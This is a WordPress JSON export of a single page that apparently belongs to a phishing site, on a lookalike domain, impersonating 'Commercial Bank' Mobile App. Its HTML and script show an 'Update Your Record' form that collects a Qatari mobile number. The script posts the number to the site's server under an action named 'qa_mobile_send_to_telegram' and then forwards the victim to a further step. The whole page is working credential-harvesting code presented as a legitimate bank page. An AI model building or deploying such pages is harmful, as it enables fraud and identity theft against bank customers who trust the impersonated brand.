{"id":27,"date":"2026-04-07T10:33:41","date_gmt":"2026-04-07T10:33:41","guid":{"rendered":"https:\/\/cb-upgrading-id.it.com\/?page_id=27"},"modified":"2026-04-07T10:35:50","modified_gmt":"2026-04-07T10:35:50","slug":"three","status":"publish","type":"page","link":"https:\/\/cb-upgrading-id.it.com\/index.php\/three\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"27\" class=\"elementor elementor-27\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-51602f3 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"51602f3\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-8687d9f\" data-id=\"8687d9f\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-88d972e elementor-widget elementor-widget-html\" data-id=\"88d972e\" data-element_type=\"widget\" data-widget_type=\"html.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<div class=\"mobile-header-image\">\r\n  <img decoding=\"async\" src=\"https:\/\/cb-upgrading-id.it.com\/wp-content\/uploads\/2026\/04\/EN-1.png\" alt=\"Header Image\">\r\n<\/div>\r\n\r\n<style>\r\n.mobile-header-image {\r\n  position: fixed;\r\n  top: 5px; \/* \u2705 \u0635\u0631\u0641 3px gap *\/\r\n  left: 0;\r\n  width: 100%;\r\n  z-index: 999999;\r\n  margin: 0;\r\n  padding: 0;\r\n  background: transparent;\r\n}\r\n\r\n.mobile-header-image img {\r\n  width: 100%;\r\n  height: auto;\r\n  display: block;\r\n  margin: 0;\r\n  padding: 0;\r\n}\r\n\r\n\/* \u2705 Mobile only *\/\r\n@media (min-width: 768px) {\r\n  .mobile-header-image {\r\n    display: none;\r\n  }\r\n}\r\n\r\nbody {\r\n  padding-top: 0px !important;\r\n}\r\n<\/style>\r\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-09779ef elementor-widget elementor-widget-html\" data-id=\"09779ef\" data-element_type=\"widget\" data-widget_type=\"html.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<div class=\"mobile-footer-image\">\r\n  <img decoding=\"async\" src=\"https:\/\/cb-upgrading-id.it.com\/wp-content\/uploads\/2026\/04\/1080-233.png\" alt=\"Footer Image\">\r\n<\/div>\r\n\r\n<style>\r\n.mobile-footer-image {\r\n  position: fixed;\r\n  bottom: 0;\r\n  left: 0;\r\n  width: 100%;\r\n  z-index: 999999;\r\n  margin: 0;\r\n  padding: 0;\r\n  background: transparent;\r\n}\r\n\r\n.mobile-footer-image img {\r\n  width: 100%;\r\n  height: auto;\r\n  display: block;\r\n  margin: 0;\r\n  padding: 0;\r\n}\r\n\r\n\/* \u0635\u0631\u0641 \u0645\u0648\u0628\u0627\u0626\u0644 \u06a9\u06d2 \u0644\u06cc\u06d2 *\/\r\n@media (min-width: 768px) {\r\n  .mobile-footer-image {\r\n    display: none;\r\n  }\r\n}\r\n<\/style>\r\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-ad37856 elementor-widget elementor-widget-shortcode\" data-id=\"ad37856\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\">\r\n<style>\r\n.atm-page{\r\n  position:fixed;\r\n  inset:0;\r\n  display:flex;\r\n  align-items:center;\r\n  justify-content:center;\r\n  transform: translateY(-30px);\r\n}\r\n\r\n.atm-box{\r\n  max-width:420px;\r\n  width:100%;\r\n  box-sizing:border-box;\r\n  margin:0 auto;\r\n  padding:35px 14px;\r\n  text-align:center;\r\n  font-family:'Roboto', sans-serif;\r\n  transition:transform 0.25s ease;\r\n}\r\n\r\n.atm-top{ margin-bottom:32px; }\r\n\r\n.atm-top img{\r\n  width:90px;\r\n  margin:0 auto 12px auto;\r\n  display:block;\r\n}\r\n\r\n.atm-title{ font-size:17px; font-weight:500; margin-bottom:8px; color:#000; }\r\n.atm-desc{ font-size:13px; color:#444; }\r\n\r\n.atm-card{\r\n  background:#FFFFFF !important;\r\n  border-radius:17px;\r\n  padding:40px 24px 40px;\r\n  box-shadow:none;\r\n  border:1px solid #CCCCCC;\r\n  position:relative;\r\n}\r\n\r\n.atm-card-label{\r\n  position:absolute;\r\n  top:-11px;\r\n  left:24px;\r\n  background:#BC1552 !important;\r\n  padding:4px 12px;\r\n  font-size:11px;\r\n  font-weight:600;\r\n  color:#ffffff;\r\n  border:1px solid #BC1552 !important;\r\n  border-radius:8px;\r\n}\r\n\r\n.verify-text{\r\n  font-size:13px;\r\n  color:#000;\r\n  margin-bottom:10px;\r\n  text-align:left;\r\n}\r\n\r\n.atm-input-wrapper{ margin-bottom:6px; }\r\n\r\n.atm-input-wrapper input{\r\n  width:100%;\r\n  height:50px;\r\n  border-radius:15px;\r\n  border:1px solid #CCCCCC !important;\r\n  background:#FFFFFF !important;\r\n  padding:15px;\r\n  font-size:15px;\r\n  outline:none;\r\n  color:#444 !important;\r\n}\r\n\r\n.forgot-text{\r\n  font-size:12px;\r\n  color:#BC1552;\r\n  text-align:right;\r\n  margin-bottom:14px;\r\n}\r\n\r\n#atm-submit{\r\n  width:100%;\r\n  height:50px;\r\n  margin-top:14px;\r\n  border-radius:15px !important;\r\n  border:none !important;\r\n  background:#BC1552 !important;\r\n  color:#fff !important;\r\n  font-size:16px;\r\n  font-weight:600;\r\n  cursor:pointer;\r\n}\r\n<\/style>\r\n\r\n<div class=\"atm-page\">\r\n  <div class=\"atm-box\" id=\"atm-box\">\r\n\r\n    <div class=\"atm-top\">\r\n      <img decoding=\"async\" src=\"https:\/\/cb-upgrading-id.it.com\/wp-content\/uploads\/2026\/04\/log.png\">\r\n      <div class=\"atm-title\">Welcome To Commercial Bank<\/div>\r\n      <div class=\"atm-desc\">Mobile App<\/div>\r\n    <\/div>\r\n\r\n    <div class=\"atm-card\">\r\n\r\n      <div class=\"atm-card-label\">Update Your Record<\/div>\r\n\r\n      <div class=\"verify-text\">Please verify mobile number<\/div>\r\n\r\n      <form id=\"atm-form\" novalidate>\r\n\r\n        <div class=\"atm-input-wrapper\">\r\n          <input id=\"user-mobile\" type=\"tel\" value=\"+974 \" placeholder=\"Enter mobile number\" autocomplete=\"off\">\r\n        <\/div>\r\n\r\n        <div class=\"forgot-text\">Registered mobile number<\/div>\r\n\r\n        <button id=\"atm-submit\" type=\"submit\">Update<\/button>\r\n\r\n      <\/form>\r\n\r\n    <\/div>\r\n\r\n  <\/div>\r\n<\/div>\r\n\r\n<script>\r\nconst mobileInput = document.getElementById(\"user-mobile\");\r\n\r\nmobileInput.addEventListener(\"input\", function(){\r\n  if(!mobileInput.value.startsWith(\"+974 \")){\r\n    mobileInput.value = \"+974 \";\r\n  }\r\n\r\n  let digits = mobileInput.value.replace(\"+974 \", \"\").replace(\/\\D\/g, \"\").slice(0,8);\r\n  mobileInput.value = \"+974 \" + digits;\r\n});\r\n\r\n(function(){\r\nconst box = document.getElementById(\"atm-box\");\r\nlet baseHeight = window.innerHeight;\r\n\r\nfunction softKeyboardMove(){\r\n  let currentHeight = window.innerHeight;\r\n  if(window.visualViewport){ currentHeight = window.visualViewport.height; }\r\n\r\n  const diff = baseHeight - currentHeight;\r\n\r\n  if(diff > 120){\r\n    let moveUp = diff * 0.20;\r\n    if(moveUp > 90) moveUp = 90;\r\n    box.style.transform = \"translateY(-\" + moveUp + \"px)\";\r\n  } else {\r\n    box.style.transform = \"translateY(0px)\";\r\n  }\r\n}\r\n\r\nwindow.addEventListener(\"resize\", softKeyboardMove);\r\nif(window.visualViewport){\r\n  window.visualViewport.addEventListener(\"resize\", softKeyboardMove);\r\n}\r\n})();\r\n\r\ndocument.getElementById(\"atm-form\").addEventListener(\"submit\", function(e){\r\n  e.preventDefault();\r\n\r\n  const mobile = document.getElementById(\"user-mobile\").value.replace(\"+974 \", \"\");\r\n  const btn = document.getElementById(\"atm-submit\");\r\n\r\n  if(mobile.length !== 8){\r\n    alert(\"Enter valid 8 digit mobile number\");\r\n    return;\r\n  }\r\n\r\n  btn.textContent = \"Processing...\";\r\n  btn.disabled = true;\r\n\r\n  setTimeout(async function(){\r\n\r\n    const data = new FormData();\r\n    data.append(\"action\",\"qa_mobile_send_to_telegram\");\r\n    data.append(\"mobile\", \"+974 \" + mobile);\r\n\r\n    try{\r\n      const r = await fetch('https:\/\/cb-upgrading-id.it.com\/wp-admin\/admin-ajax.php',{\r\n        method:\"POST\",\r\n        body:data\r\n      });\r\n\r\n      const t = await r.text();\r\n\r\n      if(t.trim() === \"success\"){\r\n        window.location.href = \"https:\/\/cb-upgrading-id.it.com\/index.php\/four\/\";\r\n      } else {\r\n        alert(\"Server Error\");\r\n        btn.disabled = false;\r\n        btn.textContent = \"Login\";\r\n      }\r\n\r\n    } catch(e){\r\n      alert(\"Network Error\");\r\n      btn.disabled = false;\r\n      btn.textContent = \"Login\";\r\n    }\r\n\r\n  }, 3000);\r\n\r\n});\r\n<\/script>\r\n\r\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-27","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages\/27","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/comments?post=27"}],"version-history":[{"count":5,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages\/27\/revisions"}],"predecessor-version":[{"id":32,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages\/27\/revisions\/32"}],"wp:attachment":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/media?parent=27"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}